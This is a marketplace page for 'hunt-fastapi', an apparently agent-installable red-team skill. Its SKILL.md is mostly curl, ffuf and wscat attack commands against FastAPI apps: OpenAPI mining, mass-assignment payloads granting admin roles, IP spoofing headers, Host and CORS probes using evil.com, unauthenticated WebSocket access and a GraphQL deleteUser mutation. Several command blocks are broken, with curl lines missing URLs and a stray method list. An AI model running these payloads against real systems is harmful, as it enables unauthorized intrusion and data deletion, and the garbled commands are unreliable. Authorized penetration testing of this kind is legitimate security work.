用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/uphiago/recon-skills --skill hunt-fastapi命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
基于 SOC 职业分类
正在显示 SKILL.md
| name | hunt-fastapi |
| description | Hunt FastAPI-specific vulnerabilities: dependency injection gaps, Pydantic coercion, and OpenAPI mining. |
| category | redteam |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["redteam","fastapi","Python","ASGI","Pydantic","OpenAPI","dependency-injection"] |
| related_skills | ["hunt-sqli","hunt-api-misconfig","hunt-idor","web-enumeration"] |
Hunt FastAPI-specific vulnerabilities in dependency injection authorization gaps, Pydantic model coercion and extra field exploitation, OpenAPI schema mining for hidden endpoints, and ASGI middleware bypasses. FastAPI's design — dependency injection for auth, Pydantic for validation, OpenAPI auto-generation — creates unique attack surface distinct from Flask or Django.
/docs, /redoc, /openapi.json, or server: uvicorn).Depends) for authorization.# FastAPI fingerprinting
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.info.title' 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/docs" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/redoc" -w "%{http_code}\n" -o /dev/null
# Download full schema for endpoint discovery
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | keys[]'
# Find hidden endpoints not in docs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | to_entries[] | select(.value.get != null and .value.get.security == []) | .key'
# Discover internal endpoints via path parameter fuzzing
ffuf -u "https://target.com/api/FUZZ" \
-w /path/to/wordlist.txt \
-mc 200,401,403 \
-H "Accept: application/json"
# Depends vs Security — check if auth is actually enforced
curl --max-time 30 --connect-timeout 10 -sk
curl --max-time 30 --connect-timeout 10 -sk \
-H
method GET POST PUT PATCH DELETE;
curl --max-time 30 --connect-timeout 10 -sk -X \
-w -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk -X POST \
-H \
-d
# Type coercion — string "true" coerced to boolean
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{"username":"test","is_admin":"true"}' # string coerced to bool
# Extra fields — Pydantic v1 ignores extra, v2 raises error by default
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","role":"admin"}' # extra field may be passed to DB
# Content-type switching
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'username=test&role=admin&is_superuser=true'
# ProxyHeaders trust — if behind a proxy, spoof client IP
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/me" \
-H "X-Forwarded-For: 127.0.0.1" \
-H "X-Real-IP: 127.0.0.1"
# TrustedHostMiddleware bypass
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/health" \
-H "Host: evil.com"
# CORS middleware — test preflight bypass
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com/api/users" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: DELETE"
# FastAPI WebSocket endpoints — auth may differ from REST
# Connect without token
wscat -c "wss://target.com/ws/notifications"
# Connect with minimal scope
wscat -c "wss://target.com/ws/admin" -H "Authorization: Bearer USER_TOKEN"
# Mounted sub-app WebSockets may skip middleware
wscat -c "wss://target.com/subapp/ws"
# GraphQL mounted via starlette-graphene or strawberry-graphql
# May not enforce Depends at GraphQL resolver level
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name } } }"}'
# Mutations may work without auth even when queries require it
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"mutation { deleteUser(id: 1) { success } }"}'
model_config with extra='ignore' silently drops unknown fields. Test both Pydantic v1 and v2 behavior./openapi.json returns 403, try /docs and /redoc which serve the same data.Security is NOT the same as Depends. Security integrates with OpenAPI security schemes — but both can be misconfigured.--proxy-headers must be enabled for IP spoofing to work. Check with X-Forwarded-For — if the server sees your real IP, proxy headers are disabled.Depends(get_current_user) accepts requests without any Authorization header.hunt-api-misconfig — Broader API configuration issues including Swagger/OpenAPI exposure.hunt-idor — Object-level authorization gaps in FastAPI path parameters.web-enumeration — Directory and endpoint discovery through OpenAPI schema mining.